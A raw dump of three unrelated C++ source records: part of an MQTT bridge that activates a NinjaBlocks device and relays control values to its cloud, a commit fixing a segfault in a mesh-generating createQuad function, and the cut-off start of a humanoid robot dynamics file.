}\n\n    BlockId = string(\"Wb\") + StringReplace(wb_serial,\":\",\"\");\n    StringUpper(BlockId);\n}\n\n\nstring TMQTTNinjaBridgeHandler::GetTokenFilename() const\n{\n    return VarDirectory + BlockId + \".token\";\n}\n\n\nbool TMQTTNinjaBridgeHandler::TryReadToken()\n{\n    const string & token_fname = GetTokenFilename();\n    ifstream token_stream(token_fname.c_str());\n\n    if (not token_stream.is_open()){\n        cerr << \"ERROR: Cannot read token from \" << token_fname << endl;\n        token_stream.close();\n        return false;\n    }\n\n    token_stream >> Token;\n    token_stream.close();\n\n    if (not Token.empty()) {\n        return true;\n    }\n\n    return false;\n}\n\nvoid TMQTTNinjaBridgeHandler::WriteToken()\n{\n    const string & token_fname = GetTokenFilename();\n    ofstream token_stream(token_fname.c_str());\n\n    if (not token_stream.is_open()){\n        token_stream.close();\n        throw TBaseException(\"Cannot write token to  \" + token_fname);\n    }\n\n    token_stream << Token;\n    token_stream.close();\n}\n\n\nbool TMQTTNinjaBridgeHandler::TryActivateBlock()\n{\n\n    string url = \"http:\/\/wakai.ninja.is\/rest\/v0\/block\/\";\n    url += BlockId + \"\/activate\";\n\n\tstd::ostringstream oss;\n    CURLcode rc = GetHttpUrl(url, oss, 10);\n\tif(rc == CURLE_OK) {\n\t\tstd::string html = oss.str();\n        cerr << \"DEBUG: got response: \" << html << endl;\n\n        Json::Value root;\n        Json::Reader reader;\n\n        if(!reader.parse(html, root, false))  {\n            cerr << \"ERROR: Failed to parse Ninja activation response\" << endl\n               << reader.getFormatedErrorMessages() << endl;\n            return false;\n        }\n        if (root.isMember(\"token\")) {\n            Token = root[\"token\"].asString();\n            cout << \"Got token: \" << Token << endl;\n            return true;\n        }\n\n    }\n\n    \/\/~ cerr << \"rc: \" << rc << endl;\n    return false;\n}\n\n\n\n\n\nint TMQTTNinjaBridgeHandler::PublishStatus(const string& status)\n{\n    return Publish(NULL, string(\"\/devices\/\") + MQTTConfig.Id + \"\/controls\/status\", status, 0, true);\n}\n\nvoid TMQTTNinjaBridgeHandler::OnConnect(int rc)\n{\n\tprintf(\"Connected with code %d.\\n\", rc);\n\n\tif(rc == 0){\n        string prefix = string(\"\/devices\/\") + MQTTConfig.Id;\n        Publish(NULL, prefix + \"\/meta\/name\", \"NinjaBlocks bridge\", 0, true);\n        Publish(NULL, prefix + \"\/meta\/room\", \"System\", 0, true);\n\n        Publish(NULL, prefix + \"\/controls\/block id\", BlockId, 0, true);\n        Publish(NULL, prefix + \"\/controls\/block id\/meta\/type\", \"text\", 0, true);\n        Publish(NULL, prefix + \"\/controls\/status\/meta\/type\", \"text\", 0, true);\n        PublishStatus(\"Waiting for activation\");\n\n        Subscribe(NULL, \"\/devices\/+\/controls\/+\");\n        Subscribe(NULL, \"\/devices\/+\/controls\/+\/meta\/type\");\n        Subscribe(NULL, \"\/devices\/+\/controls\/+\/meta\/export\");\n\n\t}\n}\n\n\nvoid TMQTTNinjaBridgeHandler::OnCloudConnect(int rc)\n{\n\tprintf(\"Connected to cloud with code %d.\\n\", rc);\n\n\tif(rc == 0) {\n        PublishStatus(\"Connected\");\n\n        \/\/ Send data of all controls known so far\n        for (auto & item : ControlsCache) {\n            SendDeviceDataToCloud(item.second);\n        }\n\n    } else {\n        PublishStatus(\"Connection error \" + to_string(rc));\n    }\n\n}\n\nvoid TMQTTNinjaBridgeHandler::SendDeviceDataToCloud(const TControlDesc& control_desc)\n{\n    \/\/ ...unless exporting was explicitly disabled\n    if (not control_desc.Export) return;\n\n\n    if (NinjaCloudMqttHandler) {\n        NinjaCloudMqttHandler->SendDeviceData(control_desc);\n    }\n}\n\n\nvoid TMQTTNinjaBridgeHandler::WaitForActivation()\n{\n    if (Activated) return;\n\n    if (not TryReadToken()) {\n        cout << \"Waiting for activation...\" << endl;\n\n        while (not TryActivateBlock()) {\n            cerr << \".\";\n        }\n        cerr << endl;\n\n        cout << \"Block is activated!\" << endl;\n        WriteToken();\n    }\n\n    Activated = true;\n\n    cout << \"Block token is \" << Token << endl;\n    PublishStatus(\"Activated\");\n}\n\nvoid TMQTTNinjaBridgeHandler::ConnectToCloud()\n{\n\n    TMQTTWrapper::TConfig ninja_mqtt_config;\n    ninja_mqtt_config.Host = \"mqttbeta.ninjablocks.co\";\n    ninja_mqtt_config.Port = 8883;\n    ninja_mqtt_config.Id =  BlockId;\n\n    NinjaCloudMqttHandler.reset(new TMQTTNinjaCloudHandler(ninja_mqtt_config, this));\n\n    \/\/~ PublishStatus(\"Connected\");\n\n}\n\n\nTControlDesc& TMQTTNinjaBridgeHandler::GetOrAddControlDesc(const string& device_id, const string& control_id)\n{\n    auto key = decltype(ControlsCache)::key_type(device_id, control_id);\n    if (ControlsCache.find(key) == ControlsCache.end()) {\n        \/\/ not found\n        TControlDesc desc;\n        desc.DeviceId = device_id;\n        desc.Id = control_id;\n\n        ControlsCache[key] = desc;\n    }\n\n    return ControlsCache[key];\n\n}\n\nvoid TMQTTNinjaBridgeHandler::OnMessage(const struct mosquitto_message *message)\n{\n    \/\/ ignore zero-length payload\n    if (message->payload == 0) return;\n\n    string topic = message->topic;\n    string payload = static_cast<const char *>(message->payload);\n    const vector<string>& tokens = StringSplit(topic, '\/');\n    bool match;\n\n    if (mosquitto_topic_matches_sub(\"\/devices\/+\/controls\/+\/meta\/type\", message->topic, &match) != MOSQ_ERR_SUCCESS) return;\n    if (match) {\n        const string& device_id = tokens[2];\n        const string& control_id = tokens[4];\n\n        TControlDesc & control = GetOrAddControlDesc(device_id, control_id);\n        control.Type = payload;\n    }\n\n    if (mosquitto_topic_matches_sub(\"\/devices\/+\/controls\/+\/meta\/export\", message->topic, &match) != MOSQ_ERR_SUCCESS) return;\n    if (match) {\n        const string& device_id = tokens[2];\n        const string& control_id = tokens[4];\n\n        TControlDesc & control = GetOrAddControlDesc(device_id, control_id);\n        control.DeviceId = device_id;\n\n        \/\/ control exporting is enabled by default\n        control.Export = (payload == \"0\") ? false : true;\n    }\n\n\n    if (mosquitto_topic_matches_sub(\"\/devices\/+\/controls\/+\", message->topic, &match) != MOSQ_ERR_SUCCESS) return;\n    if (match) {\n        const string& device_id = tokens[2];\n        const string& control_id = tokens[4];\n\n        if (device_id != MQTTConfig.Id) {\n            TControlDesc & control = GetOrAddControlDesc(device_id, control_id);\n            control.Value = payload;\n            \/\/~ cout << \"upd for \" << control.DeviceId << \":\" << control.Id << \":\" << control.Type << \"=\" << control.Value << endl;\n\n            SendDeviceDataToCloud(control);\n        }\n    }\n}\n\n\nvoid TMQTTNinjaBridgeHandler::OnCloudControlUpdate(const string& device_id, const string& control_id, const string& value)\n{\n    auto iter = ControlsCache.find(make_pair(device_id, control_id));\n\n    if (iter != ControlsCache.end()) {\n        TControlDesc & control = iter->second;\n        control.Value = value;\n\n        Publish(NULL, \"\/devices\/\" + control.DeviceId + \"\/controls\/\" + control.Id + \"\/on\", control.Value);\n    }\n}\n\n\n\nvoid TMQTTNinjaBridgeHandler::OnSubscribe(int mid, int qos_count, const int *granted_qos)\n{\n}\n\n\/\/~ string TMQTTNinjaBridgeHandler::GetChannelTopic(const TSysfsOnewireDevice& device) {\n    \/\/~ static string controls_prefix = string(\"\/devices\/\") + MQTTConfig.Id + \"\/controls\/\";\n    \/\/~ return (controls_prefix + device.GetDeviceId());\n\/\/~ }\n\n\/\/~ void TMQTTNinjaBridgeHandler::UpdateChannelValues() {\n\/\/~\n    \/\/~ for (const TSysfsOnewireDevice& device: Channels) {\n        \/\/~ auto result = device.ReadTemperature();\n        \/\/~ if (result.Defined()) {\n            \/\/~ Publish(NULL, GetChannelTopic(device), to_string(*result), 0, true); \/\/ Publish current value (make retained)\n            \/\/~ Publish(NULL, GetChannelTopic(device) + \"\/meta\/type\", \"text\", 0, true);\n        \/\/~ }\n\/\/~\n    \/\/~ }\n\/\/~ }\n\n\n\n\n\/\/~\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"parametric_shapes.hpp\"\n#include \"core\/Log.h\"\n#include \"core\/utils.h\"\n\n#include <glm\/glm.hpp>\n\n#include <array>\n#include <cassert>\n#include <cmath>\n#include <iostream>\n#include <vector>\n\neda221::mesh_data\nparametric_shapes::createQuad(unsigned int width, unsigned int height, unsigned int res_width, unsigned int res_height)\n{\n\tauto vertices = std::vector<glm::uvec3>();\n\tauto indices = std::vector<glm::uvec3>();\n\tunsigned int index = 0u;\n\n\tfor (unsigned int x = 0u; x < res_width; x++) {\n\t\tfor (unsigned int y = 0u; y < res_height; y++) {\n\t\t\tvertices[index] = glm::uvec3(static_cast<float>(x) * static_cast<float>(height) \/ static_cast<float>(res_height),\n\t\t\t\t\t\t\t\t\t\tstatic_cast<float>(y) * static_cast<float>(width) \/ static_cast<float>(res_width),\n\t\t\t\t\t\t\t\t\t\t0.0f);\n\t\t}\n\t}\n\tindex = 0;\n\tfor (unsigned int x = 0u; x < res_width - 1; x++) {\n\t\tfor (unsigned int y = 0u; y < res_height - 1; y++) {\n\t\t\tindices[index] = glm::uvec3(x + res_width * y, x + 1 + res_width * y, x + 1 + res_width * (y + 1));\n\t\t\t++index;\n\t\t\tindices[index] = glm::uvec3(x + 1 + res_width * (y + 1), x + res_width * (y + 1), x + res_width * y);\n\t\t\t++index;\n\t\t}\n\t}\n\n\n\teda221::mesh_data data;\n\n\tglGenVertexArrays(1, &data.vao);\n\n\tglBindVertexArray(data.vao);\n\n\tglGenBuffers(1, &data.bo);\n\n\tglBindBuffer(GL_ARRAY_BUFFER, data.bo);\n\tglBufferData(GL_ARRAY_BUFFER,\n\t\t\t\t static_cast<GLsizeiptr>(vertices.size() * sizeof(glm::vec3)),\n\t             vertices.data(),\n\t             GL_STATIC_DRAW);\n\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::vertices));\n\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::vertices),\n\t                      3,\n\t                      GL_FLOAT,\n\t                      GL_FALSE,\n\t                      0,\n\t                      reinterpret_cast<GLvoid const*>(0x0));\n\n\tglGenBuffers(1, &data.ibo);\n\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, data.ibo);\n\n\tglBufferData(GL_ELEMENT_ARRAY_BUFFER, static_cast<GLsizeiptr>(indices.size() * sizeof(glm::vec3)),\n\t             indices.data(),\n\t             GL_STATIC_DRAW);\n\n\tdata.indices_nb = (width * height) \/ (res_width * res_height);\n\n\t\/\/ All the data has been recorded, we can unbind them.\n\tglBindVertexArray(0u);\n\tglBindBuffer(GL_ARRAY_BUFFER, 0u);\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0u);\n\n\treturn data;\n}\n\neda221::mesh_data\nparametric_shapes::createSphere(unsigned int const res_theta,\n                                unsigned int const res_phi, float const radius)\n{\n\n\t\/\/! \\todo (Optional) Implement this function\n\treturn eda221::mesh_data();\n}\n\neda221::mesh_data\nparametric_shapes::createTorus(unsigned int const res_theta,\n                               unsigned int const res_phi, float const rA,\n                               float const rB)\n{\n\t\/\/! \\todo (Optional) Implement this function\n\treturn eda221::mesh_data();\n}\n\neda221::mesh_data\nparametric_shapes::createCircleRing(unsigned int const res_radius,\n                                    unsigned int const res_theta,\n                                    float const inner_radius,\n                                    float const outer_radius)\n{\n\tauto const vertices_nb = res_radius * res_theta;\n\n\tauto vertices  = std::vector<glm::vec3>(vertices_nb);\n\tauto normals   = std::vector<glm::vec3>(vertices_nb);\n\tauto texcoords = std::vector<glm::vec3>(vertices_nb);\n\tauto tangents  = std::vector<glm::vec3>(vertices_nb);\n\tauto binormals = std::vector<glm::vec3>(vertices_nb);\n\n\tfloat theta = 0.0f,                                                        \/\/ 'stepping'-variable for theta: will go 0 - 2PI\n\t      dtheta = 2.0f * bonobo::pi \/ (static_cast<float>(res_theta) - 1.0f); \/\/ step size, depending on the resolution\n\n\tfloat radius = 0.0f,                                                                     \/\/ 'stepping'-variable for radius: will go inner_radius - outer_radius\n\t      dradius = (outer_radius - inner_radius) \/ (static_cast<float>(res_radius) - 1.0f); \/\/ step size, depending on the resolution\n\n\t\/\/ generate vertices iteratively\n\tsize_t index = 0u;\n\tfor (unsigned int i = 0u; i < res_theta; ++i) {\n\t\tfloat cos_theta = std::cos(theta),\n\t\t      sin_theta = std::sin(theta);\n\n\t\tradius = inner_radius;\n\n\t\tfor (unsigned int j = 0u; j < res_radius; ++j) {\n\t\t\t\/\/ vertex\n\t\t\tvertices[index] = glm::vec3(radius * cos_theta,\n\t\t\t                            radius * sin_theta,\n\t\t\t                            0.0f);\n\n\t\t\t\/\/ texture coordinates\n\t\t\ttexcoords[index] = glm::vec3(static_cast<float>(j) \/ (static_cast<float>(res_radius) - 1.0f),\n\t\t\t                             static_cast<float>(i) \/ (static_cast<float>(res_theta)  - 1.0f),\n\t\t\t                             0.0f);\n\n\t\t\t\/\/ tangent\n\t\t\tauto t = glm::vec3(cos_theta, sin_theta, 0.0f);\n\t\t\tt = glm::normalize(t);\n\t\t\ttangents[index] = t;\n\n\t\t\t\/\/ binormal\n\t\t\tauto b = glm::vec3(-sin_theta, cos_theta, 0.0f);\n\t\t\tb = glm::normalize(b);\n\t\t\tbinormals[index] = b;\n\n\t\t\t\/\/ normal\n\t\t\tauto const n = glm::cross(t, b);\n\t\t\tnormals[index] = n;\n\n\t\t\tradius += dradius;\n\t\t\t++index;\n\t\t}\n\n\t\ttheta += dtheta;\n\t}\n\n\t\/\/ create index array\n\tauto indices = std::vector<glm::uvec3>(2u * (res_theta - 1u) * (res_radius - 1u));\n\n\t\/\/ generate indices iteratively\n\tindex = 0u;\n\tfor (unsigned int i = 0u; i < res_theta - 1u; ++i)\n\t{\n\t\tfor (unsigned int j = 0u; j < res_radius - 1u; ++j)\n\t\t{\n\t\t\tindices[index] = glm::uvec3(res_radius * i + j,\n\t\t\t                            res_radius * i + j + 1u,\n\t\t\t                            res_radius * i + j + 1u + res_radius);\n\t\t\t++index;\n\n\t\t\tindices[index] = glm::uvec3(res_radius * i + j,\n\t\t\t                            res_radius * i + j + res_radius + 1u,\n\t\t\t                            res_radius * i + j + res_radius);\n\t\t\t++index;\n\t\t}\n\t}\n\n\teda221::mesh_data data;\n\tglGenVertexArrays(1, &data.vao);\n\tassert(data.vao != 0u);\n\tglBindVertexArray(data.vao);\n\n\tauto const vertices_offset = 0u;\n\tauto const vertices_size = static_cast<GLsizeiptr>(vertices.size() * sizeof(glm::vec3));\n\tauto const normals_offset = vertices_size;\n\tauto const normals_size = static_cast<GLsizeiptr>(normals.size() * sizeof(glm::vec3));\n\tauto const texcoords_offset = normals_offset + normals_size;\n\tauto const texcoords_size = static_cast<GLsizeiptr>(texcoords.size() * sizeof(glm::vec3));\n\tauto const tangents_offset = texcoords_offset + texcoords_size;\n\tauto const tangents_size = static_cast<GLsizeiptr>(tangents.size() * sizeof(glm::vec3));\n\tauto const binormals_offset = tangents_offset + tangents_size;\n\tauto const binormals_size = static_cast<GLsizeiptr>(binormals.size() * sizeof(glm::vec3));\n\tauto const bo_size = static_cast<GLsizeiptr>(vertices_size\n\t                                            +normals_size\n\t                                            +texcoords_size\n\t                                            +tangents_size\n\t                                            +binormals_size\n\t                                            );\n\tglGenBuffers(1, &data.bo);\n\tassert(data.bo != 0u);\n\tglBindBuffer(GL_ARRAY_BUFFER, data.bo);\n\tglBufferData(GL_ARRAY_BUFFER, bo_size, nullptr, GL_STATIC_DRAW);\n\n\tglBufferSubData(GL_ARRAY_BUFFER, vertices_offset, vertices_size, static_cast<GLvoid const*>(vertices.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::vertices));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::vertices), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(0x0));\n\n\tglBufferSubData(GL_ARRAY_BUFFER, normals_offset, normals_size, static_cast<GLvoid const*>(normals.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::normals));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::normals), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(normals_offset));\n\n\tglBufferSubData(GL_ARRAY_BUFFER, texcoords_offset, texcoords_size, static_cast<GLvoid const*>(texcoords.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::texcoords));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::texcoords), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(texcoords_offset));\n\n\tglBufferSubData(GL_ARRAY_BUFFER, tangents_offset, tangents_size, static_cast<GLvoid const*>(tangents.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::tangents));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::tangents), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(tangents_offset));\n\n\tglBufferSubData(GL_ARRAY_BUFFER, binormals_offset, binormals_size, static_cast<GLvoid const*>(binormals.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::binormals));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::binormals), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(binormals_offset));\n\n\tglBindBuffer(GL_ARRAY_BUFFER, 0u);\n\n\tdata.indices_nb = indices.size() * 3u;\n\tglGenBuffers(1, &data.ibo);\n\tassert(data.ibo != 0u);\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, data.ibo);\n\tglBufferData(GL_ELEMENT_ARRAY_BUFFER, static_cast<GLsizeiptr>(indices.size() * sizeof(glm::uvec3)), reinterpret_cast<GLvoid const*>(indices.data()), GL_STATIC_DRAW);\n\n\tglBindVertexArray(0u);\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0u);\n\n\treturn data;\n}\n<commit_msg>Updated createQuad to not give segfault<commit_after>#include \"parametric_shapes.hpp\"\n#include \"core\/Log.h\"\n#include \"core\/utils.h\"\n\n#include <glm\/glm.hpp>\n\n#include <array>\n#include <cassert>\n#include <cmath>\n#include <iostream>\n#include <vector>\n\neda221::mesh_data\nparametric_shapes::createQuad(unsigned int width, unsigned int height, unsigned int res_width, unsigned int res_height)\n{\n\tauto vertices = std::vector<glm::uvec3>(res_width * res_height);\n\tauto indices = std::vector<glm::uvec3>(2 * (res_width - 1) * (res_height - 1));\n\tunsigned int index = 0u;\n\n\tfor (unsigned int x = 0u; x < res_width; x++) {\n\t\tfor (unsigned int y = 0u; y < res_height; y++) {\n\t\t\tvertices[index] = glm::uvec3(static_cast<float>(x) * static_cast<float>(height) \/ static_cast<float>(res_height),\n\t\t\t\t\t\t\t\t\t\tstatic_cast<float>(y) * static_cast<float>(width) \/ static_cast<float>(res_width),\n\t\t\t\t\t\t\t\t\t\t0.0f);\n\t\t\t++index;\n\t\t}\n\t}\n\n\tindex = 0;\n\tfor (unsigned int x = 0u; x < res_width - 1; x++) {\n\t\tfor (unsigned int y = 0u; y < res_height - 1; y++) {\n\t\t\tindices[index] = glm::uvec3(x + res_width * y, x + 1 + res_width * y, x + 1 + res_width * (y + 1));\n\t\t\t++index;\n\t\t\tindices[index] = glm::uvec3(x + 1 + res_width * (y + 1), x + res_width * (y + 1), x + res_width * y);\n\t\t\t++index;\n\t\t}\n\t}\n\n\n\teda221::mesh_data data;\n\n\tglGenVertexArrays(1, &data.vao);\n\n\tglBindVertexArray(data.vao);\n\n\tglGenBuffers(1, &data.bo);\n\n\tglBindBuffer(GL_ARRAY_BUFFER, data.bo);\n\tglBufferData(GL_ARRAY_BUFFER,\n\t\t\t\t static_cast<GLsizeiptr>(vertices.size() * sizeof(glm::vec3)),\n\t             vertices.data(),\n\t             GL_STATIC_DRAW);\n\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::vertices));\n\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::vertices),\n\t                      3,\n\t                      GL_FLOAT,\n\t                      GL_FALSE,\n\t                      0,\n\t                      reinterpret_cast<GLvoid const*>(0x0));\n\n\tglGenBuffers(1, &data.ibo);\n\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, data.ibo);\n\n\tglBufferData(GL_ELEMENT_ARRAY_BUFFER, static_cast<GLsizeiptr>(indices.size() * sizeof(glm::vec3)),\n\t             indices.data(),\n\t             GL_STATIC_DRAW);\n\n\tdata.indices_nb = (width * height) \/ (res_width * res_height);\n\n\t\/\/ All the data has been recorded, we can unbind them.\n\tglBindVertexArray(0u);\n\tglBindBuffer(GL_ARRAY_BUFFER, 0u);\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0u);\n\n\treturn data;\n}\n\neda221::mesh_data\nparametric_shapes::createSphere(unsigned int const res_theta,\n                                unsigned int const res_phi, float const radius)\n{\n\n\t\/\/! \\todo (Optional) Implement this function\n\treturn eda221::mesh_data();\n}\n\neda221::mesh_data\nparametric_shapes::createTorus(unsigned int const res_theta,\n                               unsigned int const res_phi, float const rA,\n                               float const rB)\n{\n\t\/\/! \\todo (Optional) Implement this function\n\treturn eda221::mesh_data();\n}\n\neda221::mesh_data\nparametric_shapes::createCircleRing(unsigned int const res_radius,\n                                    unsigned int const res_theta,\n                                    float const inner_radius,\n                                    float const outer_radius)\n{\n\tauto const vertices_nb = res_radius * res_theta;\n\n\tauto vertices  = std::vector<glm::vec3>(vertices_nb);\n\tauto normals   = std::vector<glm::vec3>(vertices_nb);\n\tauto texcoords = std::vector<glm::vec3>(vertices_nb);\n\tauto tangents  = std::vector<glm::vec3>(vertices_nb);\n\tauto binormals = std::vector<glm::vec3>(vertices_nb);\n\n\tfloat theta = 0.0f,                                                        \/\/ 'stepping'-variable for theta: will go 0 - 2PI\n\t      dtheta = 2.0f * bonobo::pi \/ (static_cast<float>(res_theta) - 1.0f); \/\/ step size, depending on the resolution\n\n\tfloat radius = 0.0f,                                                                     \/\/ 'stepping'-variable for radius: will go inner_radius - outer_radius\n\t      dradius = (outer_radius - inner_radius) \/ (static_cast<float>(res_radius) - 1.0f); \/\/ step size, depending on the resolution\n\n\t\/\/ generate vertices iteratively\n\tsize_t index = 0u;\n\tfor (unsigned int i = 0u; i < res_theta; ++i) {\n\t\tfloat cos_theta = std::cos(theta),\n\t\t      sin_theta = std::sin(theta);\n\n\t\tradius = inner_radius;\n\n\t\tfor (unsigned int j = 0u; j < res_radius; ++j) {\n\t\t\t\/\/ vertex\n\t\t\tvertices[index] = glm::vec3(radius * cos_theta,\n\t\t\t                            radius * sin_theta,\n\t\t\t                            0.0f);\n\n\t\t\t\/\/ texture coordinates\n\t\t\ttexcoords[index] = glm::vec3(static_cast<float>(j) \/ (static_cast<float>(res_radius) - 1.0f),\n\t\t\t                             static_cast<float>(i) \/ (static_cast<float>(res_theta)  - 1.0f),\n\t\t\t                             0.0f);\n\n\t\t\t\/\/ tangent\n\t\t\tauto t = glm::vec3(cos_theta, sin_theta, 0.0f);\n\t\t\tt = glm::normalize(t);\n\t\t\ttangents[index] = t;\n\n\t\t\t\/\/ binormal\n\t\t\tauto b = glm::vec3(-sin_theta, cos_theta, 0.0f);\n\t\t\tb = glm::normalize(b);\n\t\t\tbinormals[index] = b;\n\n\t\t\t\/\/ normal\n\t\t\tauto const n = glm::cross(t, b);\n\t\t\tnormals[index] = n;\n\n\t\t\tradius += dradius;\n\t\t\t++index;\n\t\t}\n\n\t\ttheta += dtheta;\n\t}\n\n\t\/\/ create index array\n\tauto indices = std::vector<glm::uvec3>(2u * (res_theta - 1u) * (res_radius - 1u));\n\n\t\/\/ generate indices iteratively\n\tindex = 0u;\n\tfor (unsigned int i = 0u; i < res_theta - 1u; ++i)\n\t{\n\t\tfor (unsigned int j = 0u; j < res_radius - 1u; ++j)\n\t\t{\n\t\t\tindices[index] = glm::uvec3(res_radius * i + j,\n\t\t\t                            res_radius * i + j + 1u,\n\t\t\t                            res_radius * i + j + 1u + res_radius);\n\t\t\t++index;\n\n\t\t\tindices[index] = glm::uvec3(res_radius * i + j,\n\t\t\t                            res_radius * i + j + res_radius + 1u,\n\t\t\t                            res_radius * i + j + res_radius);\n\t\t\t++index;\n\t\t}\n\t}\n\n\teda221::mesh_data data;\n\tglGenVertexArrays(1, &data.vao);\n\tassert(data.vao != 0u);\n\tglBindVertexArray(data.vao);\n\n\tauto const vertices_offset = 0u;\n\tauto const vertices_size = static_cast<GLsizeiptr>(vertices.size() * sizeof(glm::vec3));\n\tauto const normals_offset = vertices_size;\n\tauto const normals_size = static_cast<GLsizeiptr>(normals.size() * sizeof(glm::vec3));\n\tauto const texcoords_offset = normals_offset + normals_size;\n\tauto const texcoords_size = static_cast<GLsizeiptr>(texcoords.size() * sizeof(glm::vec3));\n\tauto const tangents_offset = texcoords_offset + texcoords_size;\n\tauto const tangents_size = static_cast<GLsizeiptr>(tangents.size() * sizeof(glm::vec3));\n\tauto const binormals_offset = tangents_offset + tangents_size;\n\tauto const binormals_size = static_cast<GLsizeiptr>(binormals.size() * sizeof(glm::vec3));\n\tauto const bo_size = static_cast<GLsizeiptr>(vertices_size\n\t                                            +normals_size\n\t                                            +texcoords_size\n\t                                            +tangents_size\n\t                                            +binormals_size\n\t                                            );\n\tglGenBuffers(1, &data.bo);\n\tassert(data.bo != 0u);\n\tglBindBuffer(GL_ARRAY_BUFFER, data.bo);\n\tglBufferData(GL_ARRAY_BUFFER, bo_size, nullptr, GL_STATIC_DRAW);\n\n\tglBufferSubData(GL_ARRAY_BUFFER, vertices_offset, vertices_size, static_cast<GLvoid const*>(vertices.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::vertices));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::vertices), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(0x0));\n\n\tglBufferSubData(GL_ARRAY_BUFFER, normals_offset, normals_size, static_cast<GLvoid const*>(normals.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::normals));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::normals), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(normals_offset));\n\n\tglBufferSubData(GL_ARRAY_BUFFER, texcoords_offset, texcoords_size, static_cast<GLvoid const*>(texcoords.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::texcoords));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::texcoords), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(texcoords_offset));\n\n\tglBufferSubData(GL_ARRAY_BUFFER, tangents_offset, tangents_size, static_cast<GLvoid const*>(tangents.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::tangents));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::tangents), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(tangents_offset));\n\n\tglBufferSubData(GL_ARRAY_BUFFER, binormals_offset, binormals_size, static_cast<GLvoid const*>(binormals.data()));\n\tglEnableVertexAttribArray(static_cast<unsigned int>(eda221::shader_bindings::binormals));\n\tglVertexAttribPointer(static_cast<unsigned int>(eda221::shader_bindings::binormals), 3, GL_FLOAT, GL_FALSE, 0, reinterpret_cast<GLvoid const*>(binormals_offset));\n\n\tglBindBuffer(GL_ARRAY_BUFFER, 0u);\n\n\tdata.indices_nb = indices.size() * 3u;\n\tglGenBuffers(1, &data.ibo);\n\tassert(data.ibo != 0u);\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, data.ibo);\n\tglBufferData(GL_ELEMENT_ARRAY_BUFFER, static_cast<GLsizeiptr>(indices.size() * sizeof(glm::uvec3)), reinterpret_cast<GLvoid const*>(indices.data()), GL_STATIC_DRAW);\n\n\tglBindVertexArray(0u);\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0u);\n\n\treturn data;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <DynamicMultiBody.h>\n#include <HumanoidDynamicMultiBody.h>\n\n#if 0\n#define RESETDEBUG4(y) { ofstream DebugFile; DebugFile.open(y,ofstream::out); DebugFile.close();}\n#define ODEBUG4(x,y) { ofstream DebugFile; DebugFile.open(y,ofstream::app); DebugFile << \"HumanoidDynamicMultiBody: \" << x << endl; DebugFile.close();}\n#else\n#define RESETDEBUG4(y) \n#define ODEBUG4(x,y) \n#endif\n\n#define RESETDEBUG6(y) \n#define ODEBUG6(x,y) \n\n#define RESETDEBUG5(y) { ofstream DebugFile; DebugFile.open(y,ofstream::out); DebugFile.close();}\n#define ODEBUG5(x,y) { ofstream DebugFile; DebugFile.open(y,ofstream::app); DebugFile << \"HumanoidDynamicMultiBody: \" << x << endl; DebugFile.close();}\n#if 1\n#define ODEBUG(x)\n#else\n#define ODEBUG(x)  std::cout << x << endl;\n#endif\n\n#define ODEBUG3(x)  std::cout << x << endl;\n\nusing namespace dynamicsJRLJapan;\n\n\nHumanoidDynamicMultiBody::HumanoidDynamicMultiBody()\n{\n\n  string aFileName = \"HumanoidSpecificities.xml\";\n  DynamicMultiBody *aDMB = new DynamicMultiBody();\n  m_DMB = aDMB;\n}\n\nHumanoidDynamicMultiBody::HumanoidDynamicMultiBody(CjrlDynamicRobot* aDMB,\n\t\t\t\t\t\t   string aFileNameForHumanoidSpecificities)\n{\n  m_DMB = aDMB;\n  SetHumanoidSpecificitiesFile(aFileNameForHumanoidSpecificities);\n}\n\nvoid HumanoidDynamicMultiBody::SetHumanoidSpecificitiesFile(string 